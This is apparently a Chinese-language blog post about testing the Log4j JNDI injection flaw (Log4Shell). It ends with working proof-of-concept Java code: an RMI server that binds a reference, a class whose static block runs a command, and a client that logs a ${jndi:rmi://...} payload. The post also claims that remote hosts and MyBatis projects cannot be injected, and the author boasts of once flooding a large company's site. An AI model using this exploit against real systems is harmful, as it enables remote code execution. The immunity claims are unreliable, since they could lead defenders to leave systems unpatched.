作者通过注入发现只有用到log4j的地方能够被注入,然而springboot自带log4j,解决方案就是版本改为2.15.0后能解决这个问题!(后面附代码)
但有趣的事情发生了!貌似项目结合mybatis即使输入注入代码也无法被执行!并且网上讨论一大堆的大部分都是本机执行,这里作者本机执行并注入成功了!没有毛病!但添加到远程-或者不同主机之间,这种被注入的现象就消失了!
然后作者通过各种手段得出结论就是-非本机并且用到mybatis的项目无法被注入,即使获取到了对象也是一段字符串!大家可以下去试试!如有在此条件下依然注入了,可以留言私信!欢迎打扰
之前玩了一下kali,msf,payload,扫字典等等,貌似现在都过时了(除了用php开发的垃圾网站),曾经洪水攻击了某个大厂,虽然大厂变卡了,结果自己网络也卡了,网上一大堆误导人的本机测试,本机的网络卡了然后访问不了靶机网站,就开教学并扬言攻击成功了,实属滑稽,教学乱像!实属浪费各位的时间且low,建议小伙伴们不要在这些上面浪费时间。最后附上测试代码:
服务端
package com.example.YourPack;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Log4jServer {
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
Reference reference = new Reference("Log4jServerObj", "Log4jServerObj",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("sin",referenceWrapper);
System.out.println("启动服务-1099");
} catch (Exception e) {
e.printStackTrace();
}
}
}
服务端调用的对象
package com.example.YourPack;
import java.io.IOException;
public class Log4jServerObj {
static {
System.out.println("哈哈哈哈哈");
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
客户端-main函数执行测试
//name案例-${jndi:rmi://192.168.1.12:1099/sin}
Logger logger = LogManager.getLogger();
logger.error("{}",name);